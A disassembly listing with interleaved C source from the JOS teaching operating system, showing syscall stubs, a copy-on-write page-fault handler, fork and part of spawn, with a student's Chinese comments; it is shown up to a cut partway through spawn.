800e57: 83 ec 0c sub $0xc,%esp
800e5a: 50 push %eax
800e5b: 6a 0a push $0xa
800e5d: 68 1f 2c 80 00 push $0x802c1f
800e62: 6a 23 push $0x23
800e64: 68 3c 2c 80 00 push $0x802c3c
800e69: e8 80 f3 ff ff call 8001ee <_panic>
00800e6e <sys_ipc_try_send>:
int
sys_ipc_try_send(envid_t envid, uint32_t value, void *srcva, int perm)
{
800e6e: 55 push %ebp
800e6f: 89 e5 mov %esp,%ebp
800e71: 57 push %edi
800e72: 56 push %esi
800e73: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800e74: 8b 55 08 mov 0x8(%ebp),%edx
800e77: 8b 4d 0c mov 0xc(%ebp),%ecx
800e7a: b8 0c 00 00 00 mov $0xc,%eax
800e7f: be 00 00 00 00 mov $0x0,%esi
800e84: 8b 5d 10 mov 0x10(%ebp),%ebx
800e87: 8b 7d 14 mov 0x14(%ebp),%edi
800e8a: cd 30 int $0x30
return syscall(SYS_ipc_try_send, 0, envid, value, (uint32_t) srcva, perm, 0);
}
800e8c: 5b pop %ebx
800e8d: 5e pop %esi
800e8e: 5f pop %edi
800e8f: 5d pop %ebp
800e90: c3 ret
00800e91 <sys_ipc_recv>:
int
sys_ipc_recv(void *dstva)
{
800e91: 55 push %ebp
800e92: 89 e5 mov %esp,%ebp
800e94: 57 push %edi
800e95: 56 push %esi
800e96: 53 push %ebx
800e97: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800e9a: b9 00 00 00 00 mov $0x0,%ecx
800e9f: 8b 55 08 mov 0x8(%ebp),%edx
800ea2: b8 0d 00 00 00 mov $0xd,%eax
800ea7: 89 cb mov %ecx,%ebx
800ea9: 89 cf mov %ecx,%edi
800eab: 89 ce mov %ecx,%esi
800ead: cd 30 int $0x30
if(check && ret > 0)
800eaf: 85 c0 test %eax,%eax
800eb1: 7f 08 jg 800ebb <sys_ipc_recv+0x2a>
return syscall(SYS_ipc_recv, 1, (uint32_t)dstva, 0, 0, 0, 0);
}
800eb3: 8d 65 f4 lea -0xc(%ebp),%esp
800eb6: 5b pop %ebx
800eb7: 5e pop %esi
800eb8: 5f pop %edi
800eb9: 5d pop %ebp
800eba: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800ebb: 83 ec 0c sub $0xc,%esp
800ebe: 50 push %eax
800ebf: 6a 0d push $0xd
800ec1: 68 1f 2c 80 00 push $0x802c1f
800ec6: 6a 23 push $0x23
800ec8: 68 3c 2c 80 00 push $0x802c3c
800ecd: e8 1c f3 ff ff call 8001ee <_panic>
00800ed2 <pgfault>:
// Custom page fault handler - if faulting page is copy-on-write,
// map in our own private writable copy.
//
static void
pgfault(struct UTrapframe *utf)
{
800ed2: 55 push %ebp
800ed3: 89 e5 mov %esp,%ebp
800ed5: 53 push %ebx
800ed6: 83 ec 04 sub $0x4,%esp
800ed9: 8b 45 08 mov 0x8(%ebp),%eax
void *addr = (void *) utf->utf_fault_va;
800edc: 8b 18 mov (%eax),%ebx
// Hint:
// Use the read-only page table mappings at uvpt
// (see <inc/memlayout.h>).
// LAB 4: Your code here.
if (!((err & FEC_WR) && (uvpt[PGNUM(addr)] & PTE_COW))) { //只有因为写操作写时拷贝的地址这中情况,才可以抢救。否则一律panic
800ede: f6 40 04 02 testb $0x2,0x4(%eax)
800ee2: 74 74 je 800f58 <pgfault+0x86>
800ee4: 89 d8 mov %ebx,%eax
800ee6: c1 e8 0c shr $0xc,%eax
800ee9: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
800ef0: f6 c4 08 test $0x8,%ah
800ef3: 74 63 je 800f58 <pgfault+0x86>
// page to the old page's address.
// Hint:
// You should make three system calls.
// LAB 4: Your code here.
addr = ROUNDDOWN(addr, PGSIZE);
800ef5: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
if ((r = sys_page_map(0, addr, 0, PFTEMP, PTE_U|PTE_P)) < 0) //将当前进程PFTEMP也映射到当前进程addr指向的物理页
800efb: 83 ec 0c sub $0xc,%esp
800efe: 6a 05 push $0x5
800f00: 68 00 f0 7f 00 push $0x7ff000
800f05: 6a 00 push $0x0
800f07: 53 push %ebx
800f08: 6a 00 push $0x0
800f0a: e8 15 fe ff ff call 800d24 <sys_page_map>
800f0f: 83 c4 20 add $0x20,%esp
800f12: 85 c0 test %eax,%eax
800f14: 78 56 js 800f6c <pgfault+0x9a>
panic("sys_page_map: %e", r);
if ((r = sys_page_alloc(0, addr, PTE_P|PTE_U|PTE_W)) < 0) //令当前进程addr指向新分配的物理页
800f16: 83 ec 04 sub $0x4,%esp
800f19: 6a 07 push $0x7
800f1b: 53 push %ebx
800f1c: 6a 00 push $0x0
800f1e: e8 be fd ff ff call 800ce1 <sys_page_alloc>
800f23: 83 c4 10 add $0x10,%esp
800f26: 85 c0 test %eax,%eax
800f28: 78 54 js 800f7e <pgfault+0xac>
panic("sys_page_alloc: %e", r);
memmove(addr, PFTEMP, PGSIZE); //将PFTEMP指向的物理页拷贝到addr指向的物理页
800f2a: 83 ec 04 sub $0x4,%esp
800f2d: 68 00 10 00 00 push $0x1000
800f32: 68 00 f0 7f 00 push $0x7ff000
800f37: 53 push %ebx
800f38: e8 39 fb ff ff call 800a76 <memmove>
if ((r = sys_page_unmap(0, PFTEMP)) < 0) //解除当前进程PFTEMP映射
800f3d: 83 c4 08 add $0x8,%esp
800f40: 68 00 f0 7f 00 push $0x7ff000
800f45: 6a 00 push $0x0
800f47: e8 1a fe ff ff call 800d66 <sys_page_unmap>
800f4c: 83 c4 10 add $0x10,%esp
800f4f: 85 c0 test %eax,%eax
800f51: 78 3d js 800f90 <pgfault+0xbe>
panic("sys_page_unmap: %e", r);
}
800f53: 8b 5d fc mov -0x4(%ebp),%ebx
800f56: c9 leave
800f57: c3 ret
panic("pgfault():not cow");
800f58: 83 ec 04 sub $0x4,%esp
800f5b: 68 4a 2c 80 00 push $0x802c4a
800f60: 6a 1d push $0x1d
800f62: 68 5c 2c 80 00 push $0x802c5c
800f67: e8 82 f2 ff ff call 8001ee <_panic>
panic("sys_page_map: %e", r);
800f6c: 50 push %eax
800f6d: 68 67 2c 80 00 push $0x802c67
800f72: 6a 2a push $0x2a
800f74: 68 5c 2c 80 00 push $0x802c5c
800f79: e8 70 f2 ff ff call 8001ee <_panic>
panic("sys_page_alloc: %e", r);
800f7e: 50 push %eax
800f7f: 68 4c 28 80 00 push $0x80284c
800f84: 6a 2c push $0x2c
800f86: 68 5c 2c 80 00 push $0x802c5c
800f8b: e8 5e f2 ff ff call 8001ee <_panic>
panic("sys_page_unmap: %e", r);
800f90: 50 push %eax
800f91: 68 78 2c 80 00 push $0x802c78
800f96: 6a 2f push $0x2f
800f98: 68 5c 2c 80 00 push $0x802c5c
800f9d: e8 4c f2 ff ff call 8001ee <_panic>
00800fa2 <fork>:
// Neither user exception stack should ever be marked copy-on-write,
// so you must allocate a new page for the child's user exception stack.
//
envid_t
fork(void)
{
800fa2: 55 push %ebp
800fa3: 89 e5 mov %esp,%ebp
800fa5: 57 push %edi
800fa6: 56 push %esi
800fa7: 53 push %ebx
800fa8: 83 ec 28 sub $0x28,%esp
// LAB 4: Your code here.
extern void _pgfault_upcall(void);
set_pgfault_handler(pgfault); //设置缺页处理函数
800fab: 68 d2 0e 80 00 push $0x800ed2
800fb0: e8 96 07 00 00 call 80174b <set_pgfault_handler>
// This must be inlined. Exercise for reader: why?
static inline envid_t __attribute__((always_inline))
sys_exofork(void)
{
envid_t ret;
asm volatile("int %2"
800fb5: b8 07 00 00 00 mov $0x7,%eax
800fba: cd 30 int $0x30
800fbc: 89 45 e4 mov %eax,-0x1c(%ebp)
envid_t envid = sys_exofork(); //系统调用,只是简单创建一个Env结构,复制当前用户环境寄存器状态,UTOP以下的页目录还没有建立
if (envid == 0) { //子进程将走这个逻辑
800fbf: 83 c4 10 add $0x10,%esp
800fc2: 85 c0 test %eax,%eax
800fc4: 74 12 je 800fd8 <fork+0x36>
800fc6: 89 c7 mov %eax,%edi
thisenv = &envs[ENVX(sys_getenvid())];
return 0;
}
if (envid < 0) {
800fc8: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
800fcc: 78 26 js 800ff4 <fork+0x52>
panic("sys_exofork: %e", envid);
}
uint32_t addr;
for (addr = 0; addr < USTACKTOP; addr += PGSIZE) {
800fce: bb 00 00 00 00 mov $0x0,%ebx
800fd3: e9 94 00 00 00 jmp 80106c <fork+0xca>
thisenv = &envs[ENVX(sys_getenvid())];
800fd8: e8 c6 fc ff ff call 800ca3 <sys_getenvid>
800fdd: 25 ff 03 00 00 and $0x3ff,%eax
800fe2: 6b c0 7c imul $0x7c,%eax,%eax
800fe5: 05 00 00 c0 ee add $0xeec00000,%eax
800fea: a3 04 40 80 00 mov %eax,0x804004
return 0;
800fef: e9 51 01 00 00 jmp 801145 <fork+0x1a3>
panic("sys_exofork: %e", envid);
800ff4: ff 75 e4 pushl -0x1c(%ebp)
800ff7: 68 8b 2c 80 00 push $0x802c8b
800ffc: 6a 6d push $0x6d
800ffe: 68 5c 2c 80 00 push $0x802c5c
801003: e8 e6 f1 ff ff call 8001ee <_panic>
sys_page_map(0, addr, envid, addr, PTE_SYSCALL); //对于表示为PTE_SHARE的页,拷贝映射关系,并且两个进程都有读写权限
801008: 83 ec 0c sub $0xc,%esp
80100b: 68 07 0e 00 00 push $0xe07
801010: 56 push %esi
801011: 57 push %edi
801012: 56 push %esi
801013: 6a 00 push $0x0
801015: e8 0a fd ff ff call 800d24 <sys_page_map>
80101a: 83 c4 20 add $0x20,%esp
80101d: eb 3b jmp 80105a <fork+0xb8>
if ((r = sys_page_map(0, addr, envid, addr, PTE_COW|PTE_U|PTE_P)) < 0)
80101f: 83 ec 0c sub $0xc,%esp
801022: 68 05 08 00 00 push $0x805
801027: 56 push %esi
801028: 57 push %edi
801029: 56 push %esi
80102a: 6a 00 push $0x0
80102c: e8 f3 fc ff ff call 800d24 <sys_page_map>
801031: 83 c4 20 add $0x20,%esp
801034: 85 c0 test %eax,%eax
801036: 0f 88 a9 00 00 00 js 8010e5 <fork+0x143>
if ((r = sys_page_map(0, addr, 0, addr, PTE_COW|PTE_U|PTE_P)) < 0)
80103c: 83 ec 0c sub $0xc,%esp
80103f: 68 05 08 00 00 push $0x805
801044: 56 push %esi
801045: 6a 00 push $0x0
801047: 56 push %esi
801048: 6a 00 push $0x0
80104a: e8 d5 fc ff ff call 800d24 <sys_page_map>
80104f: 83 c4 20 add $0x20,%esp
801052: 85 c0 test %eax,%eax
801054: 0f 88 9d 00 00 00 js 8010f7 <fork+0x155>
for (addr = 0; addr < USTACKTOP; addr += PGSIZE) {
80105a: 81 c3 00 10 00 00 add $0x1000,%ebx
801060: 81 fb 00 e0 bf ee cmp $0xeebfe000,%ebx
801066: 0f 84 9d 00 00 00 je 801109 <fork+0x167>
if ((uvpd[PDX(addr)] & PTE_P) && (uvpt[PGNUM(addr)] & PTE_P) //为什么uvpt[pagenumber]能访问到第pagenumber项页表条目:https://pdos.csail.mit.edu/6.828/2018/labs/lab4/uvpt.html
80106c: 89 d8 mov %ebx,%eax
80106e: c1 e8 16 shr $0x16,%eax
801071: 8b 04 85 00 d0 7b ef mov -0x10843000(,%eax,4),%eax
801078: a8 01 test $0x1,%al
80107a: 74 de je 80105a <fork+0xb8>
80107c: 89 d8 mov %ebx,%eax
80107e: c1 e8 0c shr $0xc,%eax
801081: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
801088: f6 c2 01 test $0x1,%dl
80108b: 74 cd je 80105a <fork+0xb8>
&& (uvpt[PGNUM(addr)] & PTE_U)) {
80108d: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
801094: f6 c2 04 test $0x4,%dl
801097: 74 c1 je 80105a <fork+0xb8>
void *addr = (void*) (pn * PGSIZE);
801099: 89 c6 mov %eax,%esi
80109b: c1 e6 0c shl $0xc,%esi
if (uvpt[pn] & PTE_SHARE) {
80109e: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
8010a5: f6 c6 04 test $0x4,%dh
8010a8: 0f 85 5a ff ff ff jne 801008 <fork+0x66>
} else if ((uvpt[pn] & PTE_W) || (uvpt[pn] & PTE_COW)) { //对于UTOP以下的可写的或者写时拷贝的页,拷贝映射关系的同时,需要同时标记当前进程和子进程的页表项为PTE_COW
8010ae: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
8010b5: f6 c2 02 test $0x2,%dl
8010b8: 0f 85 61 ff ff ff jne 80101f <fork+0x7d>
8010be: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
8010c5: f6 c4 08 test $0x8,%ah
8010c8: 0f 85 51 ff ff ff jne 80101f <fork+0x7d>
sys_page_map(0, addr, envid, addr, PTE_U|PTE_P); //对于只读的页,只需要拷贝映射关系即可
8010ce: 83 ec 0c sub $0xc,%esp
8010d1: 6a 05 push $0x5
8010d3: 56 push %esi
8010d4: 57 push %edi
8010d5: 56 push %esi
8010d6: 6a 00 push $0x0
8010d8: e8 47 fc ff ff call 800d24 <sys_page_map>
8010dd: 83 c4 20 add $0x20,%esp
8010e0: e9 75 ff ff ff jmp 80105a <fork+0xb8>
panic("sys_page_map:%e", r);
8010e5: 50 push %eax
8010e6: 68 9b 2c 80 00 push $0x802c9b
8010eb: 6a 48 push $0x48
8010ed: 68 5c 2c 80 00 push $0x802c5c
8010f2: e8 f7 f0 ff ff call 8001ee <_panic>
panic("sys_page_map:%e", r);
8010f7: 50 push %eax
8010f8: 68 9b 2c 80 00 push $0x802c9b
8010fd: 6a 4a push $0x4a
8010ff: 68 5c 2c 80 00 push $0x802c5c
801104: e8 e5 f0 ff ff call 8001ee <_panic>
duppage(envid, PGNUM(addr)); //拷贝当前进程映射关系到子进程
}
}
int r;
if ((r = sys_page_alloc(envid, (void *)(UXSTACKTOP-PGSIZE), PTE_P | PTE_W | PTE_U)) < 0) //为子进程分配异常栈
801109: 83 ec 04 sub $0x4,%esp
80110c: 6a 07 push $0x7
80110e: 68 00 f0 bf ee push $0xeebff000
801113: ff 75 e4 pushl -0x1c(%ebp)
801116: e8 c6 fb ff ff call 800ce1 <sys_page_alloc>
80111b: 83 c4 10 add $0x10,%esp
80111e: 85 c0 test %eax,%eax
801120: 78 2e js 801150 <fork+0x1ae>
panic("sys_page_alloc: %e", r);
sys_env_set_pgfault_upcall(envid, _pgfault_upcall); //为子进程设置_pgfault_upcall
801122: 83 ec 08 sub $0x8,%esp
801125: 68 a4 17 80 00 push $0x8017a4
80112a: 8b 7d e4 mov -0x1c(%ebp),%edi
80112d: 57 push %edi
80112e: e8 f9 fc ff ff call 800e2c <sys_env_set_pgfault_upcall>
if ((r = sys_env_set_status(envid, ENV_RUNNABLE)) < 0) //设置子进程为ENV_RUNNABLE状态
801133: 83 c4 08 add $0x8,%esp
801136: 6a 02 push $0x2
801138: 57 push %edi
801139: e8 6a fc ff ff call 800da8 <sys_env_set_status>
80113e: 83 c4 10 add $0x10,%esp
801141: 85 c0 test %eax,%eax
801143: 78 1d js 801162 <fork+0x1c0>
panic("sys_env_set_status: %e", r);
return envid;
}
801145: 8b 45 e4 mov -0x1c(%ebp),%eax
801148: 8d 65 f4 lea -0xc(%ebp),%esp
80114b: 5b pop %ebx
80114c: 5e pop %esi
80114d: 5f pop %edi
80114e: 5d pop %ebp
80114f: c3 ret
panic("sys_page_alloc: %e", r);
801150: 50 push %eax
801151: 68 4c 28 80 00 push $0x80284c
801156: 6a 79 push $0x79
801158: 68 5c 2c 80 00 push $0x802c5c
80115d: e8 8c f0 ff ff call 8001ee <_panic>
panic("sys_env_set_status: %e", r);
801162: 50 push %eax
801163: 68 ad 2c 80 00 push $0x802cad
801168: 6a 7d push $0x7d
80116a: 68 5c 2c 80 00 push $0x802c5c
80116f: e8 7a f0 ff ff call 8001ee <_panic>
00801174 <sfork>:
// Challenge!
int
sfork(void)
{
801174: 55 push %ebp
801175: 89 e5 mov %esp,%ebp
801177: 83 ec 0c sub $0xc,%esp
panic("sfork not implemented");
80117a: 68 c4 2c 80 00 push $0x802cc4
80117f: 68 85 00 00 00 push $0x85
801184: 68 5c 2c 80 00 push $0x802c5c
801189: e8 60 f0 ff ff call 8001ee <_panic>
0080118e <spawn>:
// argv: pointer to null-terminated array of pointers to strings,
// which will be passed to the child as its command-line arguments.
// Returns child envid on success, < 0 on failure.
int
spawn(const char *prog, const char **argv)
{
80118e: 55 push %ebp
80118f: 89 e5 mov %esp,%ebp
801191: 57 push %edi
801192: 56 push %esi
801193: 53 push %ebx
801194: 81 ec 94 02 00 00 sub $0x294,%esp
// - Call sys_env_set_trapframe(child, &child_tf) to set up the
// correct initial eip and esp values in the child.
//
// - Start the child process running with sys_env_set_status().
if ((r = open(prog, O_RDONLY)) < 0)
80119a: 6a 00 push $0x0
80119c: ff 75 08 pushl 0x8(%ebp)
80119f: e8 b9 0d 00 00 call 801f5d <open>
8011a4: 89 85 90 fd ff ff mov %eax,-0x270(%ebp)
8011aa: 83 c4 10 add $0x10,%esp
8011ad: 85 c0 test %eax,%eax
8011af: 0f 88 40 03 00 00 js 8014f5 <spawn+0x367>
8011b5: 89 c2 mov %eax,%edx
return r;
fd = r;
// Read elf header
elf = (struct Elf*) elf_buf;
if (readn(fd, elf_buf, sizeof(elf_buf)) != sizeof(elf_buf)
8011b7: 83 ec 04 sub $0x4,%esp
8011ba: 68 00 02 00 00 push $0x200
8011bf: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
8011c5: 50 push %eax
8011c6: 52 push %edx
8011c7: e8 6a 09 00 00 call 801b36 <readn>
8011cc: 83 c4 10 add $0x10,%esp
8011cf: 3d 00 02 00 00 cmp $0x200,%eax
8011d4: 75 5d jne 801233 <spawn+0xa5>
|| elf->e_magic != ELF_MAGIC) {
8011d6: 81 bd e8 fd ff ff 7f cmpl $0x464c457f,-0x218(%ebp)
8011dd: 45 4c 46
8011e0: 75 51 jne 801233 <spawn+0xa5>
8011e2: b8 07 00 00 00 mov $0x7,%eax
8011e7: cd 30 int $0x30
8011e9: 89 85 74 fd ff ff mov %eax,-0x28c(%ebp)
8011ef: 89 85 84 fd ff ff mov %eax,-0x27c(%ebp)
cprintf("elf magic %08x want %08x\n", elf->e_magic, ELF_MAGIC);
return -E_NOT_EXEC;
}
// Create new child environment
if ((r = sys_exofork()) < 0)
8011f5: 85 c0 test %eax,%eax
8011f7: 0f 88 2f 04 00 00 js 80162c <spawn+0x49e>
return r;
child = r;
// Set up trap frame, including initial stack.
child_tf = envs[ENVX(child)].env_tf;
8011fd: 25 ff 03 00 00 and $0x3ff,%eax
801202: 6b f0 7c imul $0x7c,%eax,%esi
801205: 81 c6 00 00 c0 ee add $0xeec00000,%esi
80120b: 8d bd a4 fd ff ff lea -0x25c(%ebp),%edi
801211: b9 11 00 00 00 mov $0x11,%ecx
801216: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
child_tf.tf_eip = elf->e_entry;
801218: 8b 85 00 fe ff ff mov -0x200(%ebp),%eax
80121e: 89 85 d4 fd ff ff mov %eax,-0x22c(%ebp)
uintptr_t *argv_store;
// Count the number of arguments (argc)
// and the total amount of space needed for strings (string_size).
string_size = 0;
for (argc = 0; argv[argc] != 0; argc++)
801224: bb 00 00 00 00 mov $0x0,%ebx
string_size = 0;
801229: be 00 00 00 00 mov $0x0,%esi
80122e: 8b 7d 0c mov 0xc(%ebp),%edi
801231: eb 4b jmp 80127e <spawn+0xf0>
close(fd);
801233: 83 ec 0c sub $0xc,%esp
801236: ff b5 90 fd ff ff pushl -0x270(%ebp)
80123c: e8 32 07 00 00 call 801973 <close>
cprintf("elf magic %08x want %08x\n", elf->e_magic, ELF_MAGIC);
801241: 83 c4 0c add $0xc,%esp
801244: 68 7f 45 4c 46 push $0x464c457f
801249: ff b5 e8 fd ff ff pushl -0x218(%ebp)
80124f: 68 da 2c 80 00 push $0x802cda
801254: e8 70 f0 ff ff call 8002c9 <cprintf>
return -E_NOT_EXEC;
801259: 83 c4 10 add $0x10,%esp
80125c: c7 85 90 fd ff ff f2 movl $0xfffffff2,-0x270(%ebp)
801263: ff ff ff
801266: e9 8a 02 00 00 jmp 8014f5 <spawn+0x367>
string_size += strlen(argv[argc]) + 1;
80126b: 83 ec 0c sub $0xc,%esp
80126e: 50 push %eax
80126f: e8 3d f6 ff ff call 8008b1 <strlen>
801274: 8d 74 30 01 lea 0x1(%eax,%esi,1),%esi
for (argc = 0; argv[argc] != 0; argc++)
801278: 83 c3 01 add $0x1,%ebx
80127b: 83 c4 10 add $0x10,%esp
80127e: 8d 0c 9d 00 00 00 00 lea 0x0(,%ebx,4),%ecx
801285: 8b 04 9f mov (%edi,%ebx,4),%eax
801288: 85 c0 test %eax,%eax
80128a: 75 df jne 80126b <spawn+0xdd>
80128c: 89 9d 88 fd ff ff mov %ebx,-0x278(%ebp)
801292: 89 8d 80 fd ff ff mov %ecx,-0x280(%ebp)
// Determine where to place the strings and the argv array.
// Set up pointers into the temporary page 'UTEMP'; we'll map a page
// there later, then remap that page into the child environment
// at (USTACKTOP - PGSIZE).
// strings is the topmost thing on the stack.
string_store = (char*) UTEMP + PGSIZE - string_size;
801298: bf 00 10 40 00 mov $0x401000,%edi
80129d: 29 f7 sub %esi,%edi
// argv is below that. There's one argument pointer per argument, plus
// a null pointer.
argv_store = (uintptr_t*) (ROUNDDOWN(string_store, 4) - 4 * (argc + 1));
80129f: 89 fa mov %edi,%edx
8012a1: 83 e2 fc and $0xfffffffc,%edx
8012a4: 8d 04 9d 04 00 00 00 lea 0x4(,%ebx,4),%eax
8012ab: 29 c2 sub %eax,%edx
8012ad: 89 95 94 fd ff ff mov %edx,-0x26c(%ebp)
// Make sure that argv, strings, and the 2 words that hold 'argc'
// and 'argv' themselves will all fit in a single stack page.
if ((void*) (argv_store - 2) < (void*) UTEMP)
8012b3: 8d 42 f8 lea -0x8(%edx),%eax
8012b6: 3d ff ff 3f 00 cmp $0x3fffff,%eax
8012bb: 0f 86 7c 03 00 00 jbe 80163d <spawn+0x4af>
return -E_NO_MEM;
// Allocate the single stack page at UTEMP.
if ((r = sys_page_alloc(0, (void*) UTEMP, PTE_P|PTE_U|PTE_W)) < 0)
8012c1: 83 ec 04 sub $0x4,%esp
8012c4: 6a 07 push $0x7
8012c6: 68 00 00 40 00 push $0x400000
8012cb: 6a 00 push $0x0
8012cd: e8 0f fa ff ff call 800ce1 <sys_page_alloc>
8012d2: 83 c4 10 add $0x10,%esp
8012d5: 85 c0 test %eax,%eax
8012d7: 0f 88 65 03 00 00 js 801642 <spawn+0x4b4>
// (Again, argv should use an address valid in the child's
// environment.)
//
// * Set *init_esp to the initial stack pointer for the child,
// (Again, use an address valid in the child's environment.)
for (i = 0; i < argc; i++) {
8012dd: be 00 00 00 00 mov $0x0,%esi
8012e2: 89 9d 8c fd ff ff mov %ebx,-0x274(%ebp)
8012e8: 8b 5d 0c mov 0xc(%ebp),%ebx
8012eb: eb 30 jmp 80131d <spawn+0x18f>
argv_store[i] = UTEMP2USTACK(string_store);
8012ed: 8d 87 00 d0 7f ee lea -0x11803000(%edi),%eax
8012f3: 8b 95 94 fd ff ff mov -0x26c(%ebp),%edx
8012f9: 89 04 b2 mov %eax,(%edx,%esi,4)
strcpy(string_store, argv[i]);
8012fc: 83 ec 08 sub $0x8,%esp
8012ff: ff 34 b3 pushl (%ebx,%esi,4)
801302: 57 push %edi
801303: e8 e0 f5 ff ff call 8008e8 <strcpy>
string_store += strlen(argv[i]) + 1;
801308: 83 c4 04 add $0x4,%esp
80130b: ff 34 b3 pushl (%ebx,%esi,4)
80130e: e8 9e f5 ff ff call 8008b1 <strlen>
801313: 8d 7c 07 01 lea 0x1(%edi,%eax,1),%edi
for (i = 0; i < argc; i++) {
801317: 83 c6 01 add $0x1,%esi
80131a: 83 c4 10 add $0x10,%esp
80131d: 39 b5 8c fd ff ff cmp %esi,-0x274(%ebp)
801323: 7f c8 jg 8012ed <spawn+0x15f>
}
argv_store[argc] = 0;
801325: 8b 85 94 fd ff ff mov -0x26c(%ebp),%eax
80132b: 8b 8d 80 fd ff ff mov -0x280(%ebp),%ecx
801331: c7 04 08 00 00 00 00 movl $0x0,(%eax,%ecx,1)
assert(string_store == (char*)UTEMP + PGSIZE);
801338: 81 ff 00 10 40 00 cmp $0x401000,%edi
80133e: 0f 85 8c 00 00 00 jne 8013d0 <spawn+0x242>
argv_store[-1] = UTEMP2USTACK(argv_store);
801344: 8b bd 94 fd ff ff mov -0x26c(%ebp),%edi
80134a: 8d 87 00 d0 7f ee lea -0x11803000(%edi),%eax
801350: 89 47 fc mov %eax,-0x4(%edi)
argv_store[-2] = argc;
801353: 89 f8 mov %edi,%eax
801355: 8b 8d 88 fd ff ff mov -0x278(%ebp),%ecx
80135b: 89 4f f8 mov %ecx,-0x8(%edi)
*init_esp = UTEMP2USTACK(&argv_store[-2]);
80135e: 2d 08 30 80 11 sub $0x11803008,%eax
801363: 89 85 e0 fd ff ff mov %eax,-0x220(%ebp)
// After completing the stack, map it into the child's address space
// and unmap it from ours!
if ((r = sys_page_map(0, UTEMP, child, (void*) (USTACKTOP - PGSIZE), PTE_P | PTE_U | PTE_W)) < 0)
801369: 83 ec 0c sub $0xc,%esp
80136c: 6a 07 push $0x7
80136e: 68 00 d0 bf ee push $0xeebfd000
801373: ff b5 74 fd ff ff pushl -0x28c(%ebp)
801379: 68 00 00 40 00 push $0x400000
80137e: 6a 00 push $0x0
801380: e8 9f f9 ff ff call 800d24 <sys_page_map>
801385: 89 c3 mov %eax,%ebx
801387: 83 c4 20 add $0x20,%esp
80138a: 85 c0 test %eax,%eax
80138c: 0f 88 d0 02 00 00 js 801662 <spawn+0x4d4>
goto error;
if ((r = sys_page_unmap(0, UTEMP)) < 0)
801392: 83 ec 08 sub $0x8,%esp
801395: 68 00 00 40 00 push $0x400000
80139a: 6a 00 push $0x0
80139c: e8 c5 f9 ff ff call 800d66 <sys_page_unmap>
8013a1: 89 c3 mov %eax,%ebx
8013a3: 83 c4 10 add $0x10,%esp
8013a6: 85 c0 test %eax,%eax
8013a8: 0f 88 b4 02 00 00 js 801662 <spawn+0x4d4>
ph = (struct Proghdr*) (elf_buf + elf->e_phoff);
8013ae: 8b 85 04 fe ff ff mov -0x1fc(%ebp),%eax
8013b4: 8d 84 05 e8 fd ff ff lea -0x218(%ebp,%eax,1),%eax
8013bb: 89 85 78 fd ff ff mov %eax,-0x288(%ebp)
for (i = 0; i < elf->e_phnum; i++, ph++) {
8013c1: c7 85 7c fd ff ff 00 movl $0x0,-0x284(%ebp)
8013c8: 00 00 00
8013cb: e9 56 01 00 00 jmp 801526 <spawn+0x398>
assert(string_store == (char*)UTEMP + PGSIZE);
8013d0: 68 4c 2d 80 00 push $0x802d4c
8013d5: 68 f4 2c 80 00 push $0x802cf4
8013da: 68 f2 00 00 00 push $0xf2
8013df: 68 09 2d 80 00 push $0x802d09
8013e4: e8 05 ee ff ff call 8001ee <_panic>
// allocate a blank page
if ((r = sys_page_alloc(child, (void*) (va + i), perm)) < 0)
return r;
} else {
// from file
if ((r = sys_page_alloc(0, UTEMP, PTE_P|PTE_U|PTE_W)) < 0)
8013e9: 83 ec 04 sub $0x4,%esp
8013ec: 6a 07 push $0x7
8013ee: 68 00 00 40 00 push $0x400000
8013f3: 6a 00 push $0x0
8013f5: e8 e7 f8 ff ff call 800ce1 <sys_page_alloc>
8013fa: 83 c4 10 add $0x10,%esp
8013fd: 85 c0 test %eax,%eax
8013ff: 0f 88 48 02 00 00 js 80164d <spawn+0x4bf>
return r;
if ((r = seek(fd, fileoffset + i)) < 0)
801405: 83 ec 08 sub $0x8,%esp
801408: 8b 85 80 fd ff ff mov -0x280(%ebp),%eax
80140e: 01 f0 add %esi,%eax
801410: 50 push %eax
801411: ff b5 90 fd ff ff pushl -0x270(%ebp)
801417: e8 e3 07 00 00 call 801bff <seek>
80141c: 83 c4 10 add $0x10,%esp
80141f: 85 c0 test %eax,%eax
801421: 0f 88 2d 02 00 00 js 801654 <spawn+0x4c6>
return r;
if ((r = readn(fd, UTEMP, MIN(PGSIZE, filesz-i))) < 0)
801427: 83 ec 04 sub $0x4,%esp
80142a: 8b 85 94 fd ff ff mov -0x26c(%ebp),%eax
801430: 29 f0 sub %esi,%eax
801432: 3d 00 10 00 00 cmp $0x1000,%eax
801437: ba 00 10 00 00 mov $0x1000,%edx
80143c: 0f 47 c2 cmova %edx,%eax
80143f: 50 push %eax
801440: 68 00 00 40 00 push $0x400000
801445: ff b5 90 fd ff ff pushl -0x270(%ebp)
80144b: e8 e6 06 00 00 call 801b36 <readn>
801450: 83 c4 10 add $0x10,%esp
801453: 85 c0 test %eax,%eax
801455: 0f 88 00 02 00 00 js 80165b <spawn+0x4cd>
return r;
if ((r = sys_page_map(0, UTEMP, child, (void*) (va + i), perm)) < 0)
80145b: 83 ec 0c sub $0xc,%esp
80145e: 57 push %edi
80145f: 03 b5 88 fd ff ff add -0x278(%ebp),%esi
801465: 56 push %esi
801466: ff b5 84 fd ff ff pushl -0x27c(%ebp)
80146c: 68 00 00 40 00 push $0x400000
801471: 6a 00 push $0x0
801473: e8 ac f8 ff ff call 800d24 <sys_page_map>
801478: 83 c4 20 add $0x20,%esp
80147b: 85 c0 test %eax,%eax
80147d: 0f 88 80 00 00 00 js 801503 <spawn+0x375>
panic("spawn: sys_page_map data: %e", r);
sys_page_unmap(0, UTEMP);
801483: 83 ec 08 sub $0x8,%esp
801486: 68 00 00 40 00 push $0x400000
80148b: 6a 00 push $0x0
80148d: e8 d4 f8 ff ff call 800d66 <sys_page_unmap>
